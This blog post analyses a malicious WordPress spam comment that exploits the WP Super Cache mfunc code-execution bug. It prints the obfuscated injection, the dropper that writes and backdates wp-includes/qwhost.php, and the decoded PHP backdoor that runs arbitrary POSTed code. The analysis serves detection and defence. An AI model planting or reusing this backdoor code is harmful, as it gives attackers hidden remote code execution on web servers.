I received a spam comment on a WordPress instance that stood out from the crowd.
<!--mfunc eval(base64_decode("IGVycm9yX3JlcG9ydGluZygwKTsgJGZpbGUgPSBkaXJuYW1lKCRfU0VSV kVSWydTQ1JJUFRfRklMRU5BTUUnXSkgLiAnLycgLiAnd3AtaW5jbHVkZXMvcXdob3N0LnBocCc7ICRzcmMgPSAn PD9waHAgZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRFpaSERxd0lFa1R2MHF2L3hRSW92RWE5d0h0WGV EWXR2UGVlMDA5ZEl... you get the idea ... )); --><!--/mfunc-->
How can I not investigate this? It’s clearly malicious. I wasn’t sure what this mfunc business was, so I looked it up.
WP Super Cache is a full page caching plugin for WordPress.
…
Unfortunately it was reported recently that remote visitors to sites using the plugin could execute any code they like by simply leaving a comment containing the right mfunc code.
Cool. I’m not using WP Super Cache on this particular site, so bullet dodged there. I still wanted to see what the deal was with this code though. I manually executed the base64_decode (no, not with the eval!) and got this.
error_reporting(0); $file = dirname($_SERVER['SCRIPT_FILENAME']) . '/' . 'wp-includes/qwhost.php'; $src = '<?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FB... yeah more of this ... Cbyyu1txOSxZtXwSNTvMO1d1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?>'; $mtime = filemtime(dirname($file)); $fh = fopen($file, 'w'); fwrite($fh, $src); fclose($fh); @touch($file, $mtime, $mtime); @touch(dirname($file), $mtime, $mtime);
I tried to decrypt the big ol string a few more times and realized that this encoding inception goes way more than 3 levels deep. Luckily, there is a badass tool made specifically to help out in situations like this.
Enter PHP Decoder!
It decrypts strings until it gets something useful. After pasting in the above snippet, PHP Decoder will perform 28 inceptions and give you this. (comments mine)
<?php @error_reporting(0); // rooting boxes, be vewy vewy quiet @ini_set("display_errors", 0); @ini_set("log_errors", 0); @ini_set("error_log", 0); if (isset($_GET['r'])) { // echo back the 'r' url param. Easy way to check if exploit was installed. print $_GET['r']; } elseif (isset($_POST['e'])) { // execute obfuscated payload code eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { // I believe this is equivalent to the above clause which reads post data $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp = @fopen('tmpfile', 'a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit; ?>
The code very quietly opens a backdoor and listens at `/wp-includes/qwhost.php` for arbitrary PHP code to execute.
So, am I infected? Luckily the author made it very easy to check. Hit `/wp-includes/qwhost.php?r=test` in your browser. If you see “test” then you’ve been owned.
What’s clever about the wp-includes path is that virtually all WordPress instances have /wp-includes blacklisted in their robots.txt files. You can’t find all the infected blogs on Google with the “inurl:” trick so only the attacker has the complete list.
Woah, that’s the first time I’ve seen anyone taking advantage of that bug and a warning to anyone still using the old mfunc method that they need to upgrade and stop using it.
The mfunc and related functions are now gone and replaced by a new system that uses WordPress filters but is unfortunately more complicated.
Thanks for posting this.